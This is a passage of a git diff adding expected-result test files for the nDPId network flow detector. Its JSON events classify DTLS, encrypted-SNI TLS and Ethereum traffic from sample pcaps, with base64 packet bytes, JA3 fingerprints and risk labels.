{"15":"TLS (probably) not carrying HTTPS","24":"SNI TLS extension was missing"},"proto":"DTLS","breed":"Safe","category":"Web"},"tls": {"version":"DTLSv1.2","client_requested_server_name":"","ja3":"e15c510766789ed8f49de0e37951c1da","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00483{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"dtls_session_id_and_coockie_both.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592388499,"pkt_ts_usec":786468,"pkt_caplen":90,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":90,"pkt_l4_len":56,"pkt":"AAAAAAAAAAcAwedSCABFAABMjnQAAPMRxAzfdGn3ucRx762bxFEAOGNSFv7\/AAAAAAAAAAAAIwMAABcAAAAAAAAAF\/7\/FBwO\/CFwEASeBoBTHTZO4F6qQqae"} +00580{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"dtls_session_id_and_coockie_both.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592388499,"pkt_ts_usec":813030,"pkt_caplen":161,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":161,"pkt_l4_len":127,"pkt":"AAAAAAAAAAEAvpsKCABFAACTT3wAAH8Rdr65xHHv33Rp98RRrZsAf9dAFv79AAAAAAAAAAEAagEAAF4AAQAAAAAAXv79P8FbOXt8ZkgBLvoC72ni+sdFNMYxwEb+hvs\/sv9L1B0gODIAL4OTx2HjtkquDfJ\/XJtXFrGeH36FJxKlpF5tST4UHA78IXAQBJ4GgFMdNk7gXqpCpp4AAsAsAQA="} +00649{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"dtls_session_id_and_coockie_both.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592388499,"pkt_ts_usec":833900,"pkt_caplen":212,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":212,"pkt_l4_len":178,"pkt":"AAAAAAAAAAcAwedSCABFAADGx3wAAPMRiorfdGn3ucRx762bxFEAspnDFv79AAAAAAAAAAEAUgIAAEYAAQAAAAAARv79h9MldvGqD4L7eTZa2NHhRQF1vlik3WVyEyjxpUYtENcgODIAL4OTx2HjtkquDfJ\/XJtXFrGeH36FJxKlpF5tST7ALAAU\/v0AAAAAAAAAAgABARb+\/QABAAAAAAAAADBhiqTy6UqwzhCYCPtl5aoUaCDaK6eEDLWKYD9PQuzP3fUrM48czQrGX1gmubwFx64="} +00858{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":4,"source":"dtls_session_id_and_coockie_both.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":4,"flow_first_seen":1592388499775,"flow_last_seen":1592388499833,"flow_tot_l4_data_len":468,"flow_min_l4_data_len":56,"flow_max_l4_data_len":178,"flow_avg_l4_data_len":117,"midstream":0,"l3_proto":"ip4","src_ip":"185.196.113.239","dst_ip":"223.116.105.247","src_port":50257,"dst_port":44443,"l4_proto":"udp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS","24":"SNI TLS extension was missing"},"proto":"DTLS","breed":"Safe","category":"Web"},"tls": {"version":"DTLSv1.2","client_requested_server_name":"","ja3":"e15c510766789ed8f49de0e37951c1da","ja3s":"a1d48eca741e476d8ee735578a26bdbd","unsafe_cipher":0,"cipher":"TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384"}} diff --git a/test/results/encrypted_sni.pcap.out b/test/results/encrypted_sni.pcap.out new file mode 100644 index 000000000..f0bf845d9 --- /dev/null +++ b/test/results/encrypted_sni.pcap.out @@ -0,0 +1,9 @@ +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"encrypted_sni.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1590680386576,"flow_last_seen":0,"flow_tot_l4_data_len":736,"flow_min_l4_data_len":736,"flow_max_l4_data_len":736,"flow_avg_l4_data_len":736,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.12","dst_ip":"104.27.129.77","src_port":49886,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +01380{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"encrypted_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1590680386,"pkt_ts_usec":576239,"pkt_caplen":770,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":770,"pkt_l4_len":736,"pkt":"EBMx8Tl2KDc3AG3ICABFAAL0AABAAEAGjOfAqAEMaBuBTcLeAbt3Q5LX\/48DFVAYIACwHgAAFgMBAscBAALDAwOTwM86TEdZaYZx77QiKeLaOUyI6FPS+J3L+0S3MA31OCDtrXy2AkmiC5EC8aXH8NKs5TG5ofTGvlsmIWUcTFlOhgAkEwETAxMCwCvAL8ypzKjALMAwwArACcATwBQAMwA5AC8ANQAKAQACVgAXAAD\/AQABAAAKAA4ADAAdABcAGAAZAQABAQALAAIBAAAjAAAAEAAOAAwCaDIIaHR0cC8xLjEABQAFAQAAAAAAMwBrAGkAHQAg9C+VXLX0pUAYcvwRMlm2BfjMFL+A2Ha+teHeYm8XszAAFwBBBKhP+5j\/iIqKULsVEv1xkLdgIoxwczB5EVKfTq\/0aLaIOqqUx255GoGIKzaHGdYeWvgG2FTscntynOjMKiH+1xMAKwAJCAMEAwMDAgMBAA0AGAAWBAMFAwYDCAQIBQgGBAEFAQYBAgMCAQAtAAIBAf\/OAW4TAQAdACAoJey8d6KdccaSJO2lCYt20kw0EEYFyldVNE\/b+wVlLQAgHyQSymUyoBaYNvGbjOJlOzPcW4r7yiRdTxErCb+vUsgBJJYkyzxOIwgn94z1v2QNIt6jP8xZjqajLZOZBVhvvpl7nmhmH4lW1IkwcuGd4kzR+4ip9x\/EzAG6tckU\/flqZH1nG16JhZuu6rEiIYaISW303wwyjD1flAsQnOsqJ0PVy+NZQoiiKbjH4viDA+P+GiaonlAB8r2TaJD+948G4F7MBjpovbjBjfrBFM8f7NuL4fwv7ssjFdJ5mNaCsSn9Hj6115hdy9xFKhCCzMA44L9pVw\/vrGvG+5UfibZ5LK2nZAPALOtdzhzm7d0W1ff7a4XSuSSFRI3gCI5CHoPx4osmf747Wa4ElvuEUhPCcdTFrF6efl9qMHJEUwf8zrcwZxBFmZHEDMTcH8MlFUx5dN14A3E5eAVFahmuI+6IR1wd8HaXtmYAHAACQAE="} +00766{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"encrypted_sni.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1590680386576,"flow_last_seen":0,"flow_tot_l4_data_len":736,"flow_min_l4_data_len":736,"flow_max_l4_data_len":736,"flow_avg_l4_data_len":736,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.12","dst_ip":"104.27.129.77","src_port":49886,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Cloudflare","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"","ja3":"e5ef852e686954ba9fe060fbfa881e15","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2,"source":"encrypted_sni.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1590680387847,"flow_last_seen":0,"flow_tot_l4_data_len":736,"flow_min_l4_data_len":736,"flow_max_l4_data_len":736,"flow_avg_l4_data_len":736,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.12","dst_ip":"104.16.125.175","src_port":49887,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +01384{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"encrypted_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1590680387,"pkt_ts_usec":847337,"pkt_caplen":770,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":770,"pkt_l4_len":736,"pkt":"EBMx8Tl2KDc3AG3ICABFAAL0AABAAEAGkJDAqAEMaBB9r8LfAbu98X4VZuCG7lAYIACqfgAAFgMBAscBAALDAwPZvt6xqK7JiSO2eRBioUk2Uu867QdPWpn6Sv4hYS472iAz8c+AKNafKEsBeorsjdYMXk2HdHvKJL23Af8gga\/qxAAkEwETAxMCwCvAL8ypzKjALMAwwArACcATwBQAMwA5AC8ANQAKAQACVgAXAAD\/AQABAAAKAA4ADAAdABcAGAAZAQABAQALAAIBAAAjAAAAEAAOAAwCaDIIaHR0cC8xLjEABQAFAQAAAAAAMwBrAGkAHQAg0HCVKAanlLS9J1B8hdchDfkoKDxcPc3B5hBZYsZWdz8AFwBBBCakAur\/e3rF+tGl0au7NOTY4DQpBg\/YjV6ew74w8otvaCGiCdoeWGhEGjsldqwZrBxN3o59i8BSdRX+YPQ+GgkAKwAJCAMEAwMDAgMBAA0AGAAWBAMFAwYDCAQIBQgGBAEFAQYBAgMCAQAtAAIBAf\/OAW4TAQAdACAFyK2kXV21yqtAW2T62b\/NDTnJgxOrhECle3qcjynhZQAgHyQSymUyoBaYNvGbjOJlOzPcW4r7yiRdTxErCb+vUsgBJLkAAE456EuY9a6HsKAg7En+2G8rSItqsoven5V2IfJ3Q2bekOZcTKgIZokRYkaF7ExtxsFhqXy+gigbwIQnaXqjvmpA5fAKz4tj4ykxew5OhWQtUKuHkOYZfaYtn1syOdzFlDd5f+dopSDJ1HH+q6E3XfYeSjmwk2PLEJ57JKeThEiW3dFrbufb5XbXZxYdeC179v7EU6Bakj2Njpvv\/Jfo5WxPGqtw\/pm8l4GeHZCKXzswlPS\/Jet6JKlP28PhB6QjuLs0HyKQD3u9h3gOMLbs85P+uPv\/61THn6BnP+Gq0XsiHUv\/ZFCqDNSvUTBmtmCAtgIUfzrLcUWkNsVonaILrLi\/m6vYUQElVuyPe7nXS\/qvJdz0NipXdWB8POXCwp8YOWkAHAACQAE="} +00767{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2,"source":"encrypted_sni.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1590680387847,"flow_last_seen":0,"flow_tot_l4_data_len":736,"flow_min_l4_data_len":736,"flow_max_l4_data_len":736,"flow_avg_l4_data_len":736,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.12","dst_ip":"104.16.125.175","src_port":49887,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Cloudflare","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"","ja3":"e5ef852e686954ba9fe060fbfa881e15","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3,"source":"encrypted_sni.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1590680391590,"flow_last_seen":0,"flow_tot_l4_data_len":736,"flow_min_l4_data_len":736,"flow_max_l4_data_len":736,"flow_avg_l4_data_len":736,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.12","dst_ip":"104.22.71.197","src_port":49897,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +01378{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"encrypted_sni.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1590680391,"pkt_ts_usec":590254,"pkt_caplen":770,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":770,"pkt_l4_len":736,"pkt":"EBMx8Tl2KDc3AG3ICABFAAL0AABAAEAGxnTAqAEMaBZHxcLpAbsLJg40SW6gUlAYIAANXgAAFgMBAscBAALDAwMJLl9l\/OldUJYbpqd0xOpts3Kv4zg2hroTXcdX9KeB2CBjkfBVUTqX532YPuVZHQd0J5lIK2OZH9nsSRBnWwKDWwAkEwETAxMCwCvAL8ypzKjALMAwwArACcATwBQAMwA5AC8ANQAKAQACVgAXAAD\/AQABAAAKAA4ADAAdABcAGAAZAQABAQALAAIBAAAjAAAAEAAOAAwCaDIIaHR0cC8xLjEABQAFAQAAAAAAMwBrAGkAHQAgsbxhJX9IcnjB7rdgEb2YIBohnnxEhKIToNk1er8CIioAFwBBBLtlLNXLCuP0okhISXwuyj6tgeyLGZ5yaSZ9uT3zAbum2y5l1gYjS6RGBBL9dNcuY2pA4Ze582sOuuo0cAvw2TsAKwAJCAMEAwMDAgMBAA0AGAAWBAMFAwYDCAQIBQgGBAEFAQYBAgMCAQAtAAIBAf\/OAW4TAQAdACCgcq\/jSZGFwhXJHl9nfU84W9RHblecX+XHXi+knd++egAgHyQSymUyoBaYNvGbjOJlOzPcW4r7yiRdTxErCb+vUsgBJM1prHJ\/+qDqcKEqpG5xU365kjS5loGMkTxyoKwRhL+l3TthfgE+TKCSsunPt4vNjTPLrxKpdN+3jkm4v5pXmXQY7xTIeDCWHjyEgNKkvyfWHZEc70MAkkqfNhBXSLrthF\/1heQEBlRbs1xtqteJZDPsTf1rb0lyjahdcH23rHhPVaZljcat4wh7Hka7vt+kTz6HVLMaa8+FGdKR02KYBfqCbkN5nqbjMCHPCoPKBXF7APN9aYQZNPW1vyVMZGeIilksOKMAfbO31cu423QrZX+PlzwFC6qBeqVxOTzYpLwLIxJGCnfdBRD0u85D1TvPM05OjHVwJVu9F3FEA\/S2klQ0zWf5b6ngXXAHdoEO61eGscgYik1z+CCLYUuTKEqAk5KVlL4AHAACQAE="} +00766{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":3,"source":"encrypted_sni.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1590680391590,"flow_last_seen":0,"flow_tot_l4_data_len":736,"flow_min_l4_data_len":736,"flow_max_l4_data_len":736,"flow_avg_l4_data_len":736,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.12","dst_ip":"104.22.71.197","src_port":49897,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Cloudflare","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"","ja3":"e5ef852e686954ba9fe060fbfa881e15","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} diff --git a/test/results/ethereum.pcap.out b/test/results/ethereum.pcap.out new file mode 100644 index 000000000..6acc8666b --- /dev/null +++ b/test/results/ethereum.pcap.out @@ -0,0 +1,932 @@ +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1578508362274,"flow_last_seen":0,"flow_tot_l4_data_len":136,"flow_min_l4_data_len":136,"flow_max_l4_data_len":136,"flow_avg_l4_data_len":136,"midstream":0,"l3_proto":"ip4","src_ip":"87.14.222.25","dst_ip":"192.168.1.184","src_port":56693,"dst_port":30303,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00570{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508362,"pkt_ts_usec":274369,"pkt_caplen":170,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":170,"pkt_l4_len":136,"pkt":"KDc3AG3IEBMx8Tl2CABFAACc0mBAADURe2hXDt4ZwKgBuN11dl8AiEJtHMys6Q29AOp21rwpZSDXERjTbIzhwNph0idC5kCkV\/FDnhOUP\/GMZC9pQ1ikY4tKfgVohRJdDV\/jhdY3JkNQ8nfjTjeSnG7Ixlzbx1L2txMkADCUTD6WfRXFuzz03\/IfAAHdBMuEfwAAAYJ2X4J2X8mETxbOvYLp94CEXhYgXgU="} +00546{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1578508362274,"flow_last_seen":0,"flow_tot_l4_data_len":136,"flow_min_l4_data_len":136,"flow_max_l4_data_len":136,"flow_avg_l4_data_len":136,"midstream":0,"l3_proto":"ip4","src_ip":"87.14.222.25","dst_ip":"192.168.1.184","src_port":56693,"dst_port":30303,"l4_proto":"udp","ndpi": {"flow_risk": {"22":"Unsafe Protocol"},"proto":"Mining","breed":"Unsafe","category":"Mining"}} +00625{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508363,"pkt_ts_usec":333871,"pkt_caplen":213,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":213,"pkt_l4_len":179,"pkt":"KDc3AG3IEBMx8Tl2CABFAADH0wVAADURephXDt4ZwKgBuN11dl8As\/l1jW6o\/uOLsNilE7wPPGgWLrGBgPfvOzwO1DfZyAOcgKFZ114jjOcqSahrn1BNVaBcqPiZ+5Zw3KmlNNeK6areM2YGHfDo3L4DI03KcwYwznBps1b+iFJS+0Kipikc3Gq9AQP4R7hAl090ZgbQhHWBj8BMRwa4LeNB32fKxPZW6UW3BwzH4FX8L40Uh5Yh\/LpdLpgFyY0tX7A7rx7OhPCc704eHlKGuoReFiBf"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1578508363692,"flow_last_seen":0,"flow_tot_l4_data_len":137,"flow_min_l4_data_len":137,"flow_max_l4_data_len":137,"flow_avg_l4_data_len":137,"midstream":0,"l3_proto":"ip4","src_ip":"60.191.32.71","dst_ip":"192.168.1.184","src_port":30303,"dst_port":30303,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00567{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508363,"pkt_ts_usec":692141,"pkt_caplen":171,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":171,"pkt_l4_len":137,"pkt":"KDc3AG3IEBMx8Tl2CABFAACdOfxAACwR9O08vyBHwKgBuHZfdl8AicNGfxf10Wb92tmu8P4AYDHc1S9CYBd0hA8u+7bp2exSZpfjoD4stw3HK2zECpnkODZdOg6LxGWvabU8eolUhCpRWxf283jKbdR45yXwcXrtjWJbPi2JRR9Nts4CTYECrpr\/AQHeBcuErBIAAoJ2X4J2X8uETxbOvYLp94J2X4ReFiBe"} +00546{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":3,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1578508363692,"flow_last_seen":0,"flow_tot_l4_data_len":137,"flow_min_l4_data_len":137,"flow_max_l4_data_len":137,"flow_avg_l4_data_len":137,"midstream":0,"l3_proto":"ip4","src_ip":"60.191.32.71","dst_ip":"192.168.1.184","src_port":30303,"dst_port":30303,"l4_proto":"udp","ndpi": {"flow_risk": {"22":"Unsafe Protocol"},"proto":"Mining","breed":"Unsafe","category":"Mining"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1578508364272,"flow_last_seen":0,"flow_tot_l4_data_len":147,"flow_min_l4_data_len":147,"flow_max_l4_data_len":147,"flow_avg_l4_data_len":147,"midstream":0,"l3_proto":"ip4","src_ip":"3.112.138.57","dst_ip":"192.168.1.184","src_port":25516,"dst_port":30303,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00583{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":272113,"pkt_caplen":181,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":181,"pkt_l4_len":147,"pkt":"KDc3AG3IEBMx8Tl2CABFCACn7eVAACURF08DcIo5wKgBuGOsdl8Ak1lonaJ3QYcb7U0uMgLRKCkYOOmsVBzd6scD1gTgbTNauX3kB3bPaDZ67w0\/6JScqj4YBzeDQtx9d9GUfbwpNwws+A3fj9N5t1f25M57T8Etpo9cRpw0Ipg9vE7GnadXMLBRAAHoBNeQAAAAAAAAAAAAAAAAAAAAAIInD4InD8mETxbOvYLp94CEXhYgYA=="} +00546{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":4,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1578508364272,"flow_last_seen":0,"flow_tot_l4_data_len":147,"flow_min_l4_data_len":147,"flow_max_l4_data_len":147,"flow_avg_l4_data_len":147,"midstream":0,"l3_proto":"ip4","src_ip":"3.112.138.57","dst_ip":"192.168.1.184","src_port":25516,"dst_port":30303,"l4_proto":"udp","ndpi": {"flow_risk": {"22":"Unsafe Protocol"},"proto":"Mining","breed":"Unsafe","category":"Mining"}} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1578508364382,"flow_last_seen":0,"flow_tot_l4_data_len":179,"flow_min_l4_data_len":179,"flow_max_l4_data_len":179,"flow_avg_l4_data_len":179,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"3.209.45.79","src_port":30303,"dst_port":30303,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00626{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":382390,"pkt_caplen":213,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":213,"pkt_l4_len":179,"pkt":"EBMx8Tl2KDc3AG3ICABFAADHswoAAEAR05vAqAG4A9EtT3Zfdl8As46jAUq3Z7jOf6Ug2frhkOredmKGawH96dNwPwCsVwwwAuHNRLachJG6Hj8pd5+\/iUKj3xzFalkHy\/4zo7e13\/nakEgcyoOcntMlISOmld4GtANNEoWSHW0IYrUbIiG7qvHSAQP4R7hAGwckxV38aoEQ3R3z6i1sbxgztMaJbhd8mlK6anhGQ6H0+w6JOUS\/FIH4b+eX+gcKRXXgkrfcf69BwK1A+Siq+4ReFiBg"} +00545{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":5,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1578508364382,"flow_last_seen":0,"flow_tot_l4_data_len":179,"flow_min_l4_data_len":179,"flow_max_l4_data_len":179,"flow_avg_l4_data_len":179,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"3.209.45.79","src_port":30303,"dst_port":30303,"l4_proto":"udp","ndpi": {"flow_risk": {"22":"Unsafe Protocol"},"proto":"Mining","breed":"Unsafe","category":"Mining"}} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1578508364382,"flow_last_seen":0,"flow_tot_l4_data_len":179,"flow_min_l4_data_len":179,"flow_max_l4_data_len":179,"flow_avg_l4_data_len":179,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"52.231.165.108","src_port":30303,"dst_port":30303,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00626{"flow_id":5,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":382655,"pkt_caplen":213,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":213,"pkt_l4_len":179,"pkt":"EBMx8Tl2KDc3AG3ICABFAADHegkAAEARY2nAqAG4NOelbHZfdl8As+VvAUq3Z7jOf6Ug2frhkOredmKGawH96dNwPwCsVwwwAuHNRLachJG6Hj8pd5+\/iUKj3xzFalkHy\/4zo7e13\/nakEgcyoOcntMlISOmld4GtANNEoWSHW0IYrUbIiG7qvHSAQP4R7hAGwckxV38aoEQ3R3z6i1sbxgztMaJbhd8mlK6anhGQ6H0+w6JOUS\/FIH4b+eX+gcKRXXgkrfcf69BwK1A+Siq+4ReFiBg"} +00548{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":6,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1578508364382,"flow_last_seen":0,"flow_tot_l4_data_len":179,"flow_min_l4_data_len":179,"flow_max_l4_data_len":179,"flow_avg_l4_data_len":179,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"52.231.165.108","src_port":30303,"dst_port":30303,"l4_proto":"udp","ndpi": {"flow_risk": {"22":"Unsafe Protocol"},"proto":"Mining","breed":"Unsafe","category":"Mining"}} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1578508364382,"flow_last_seen":0,"flow_tot_l4_data_len":179,"flow_min_l4_data_len":179,"flow_max_l4_data_len":179,"flow_avg_l4_data_len":179,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"18.138.108.67","src_port":30303,"dst_port":30303,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00627{"flow_id":6,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":382946,"pkt_caplen":213,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":213,"pkt_l4_len":179,"pkt":"EBMx8Tl2KDc3AG3ICABFAADH\/g8AAEAROunAqAG4EopsQ3Zfdl8As0D2AUq3Z7jOf6Ug2frhkOredmKGawH96dNwPwCsVwwwAuHNRLachJG6Hj8pd5+\/iUKj3xzFalkHy\/4zo7e13\/nakEgcyoOcntMlISOmld4GtANNEoWSHW0IYrUbIiG7qvHSAQP4R7hAGwckxV38aoEQ3R3z6i1sbxgztMaJbhd8mlK6anhGQ6H0+w6JOUS\/FIH4b+eX+gcKRXXgkrfcf69BwK1A+Siq+4ReFiBg"} +00547{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":7,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1578508364382,"flow_last_seen":0,"flow_tot_l4_data_len":179,"flow_min_l4_data_len":179,"flow_max_l4_data_len":179,"flow_avg_l4_data_len":179,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"18.138.108.67","src_port":30303,"dst_port":30303,"l4_proto":"udp","ndpi": {"flow_risk": {"22":"Unsafe Protocol"},"proto":"Mining","breed":"Unsafe","category":"Mining"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1578508364421,"flow_last_seen":0,"flow_tot_l4_data_len":179,"flow_min_l4_data_len":179,"flow_max_l4_data_len":179,"flow_avg_l4_data_len":179,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"34.97.172.22","src_port":30303,"dst_port":30303,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} 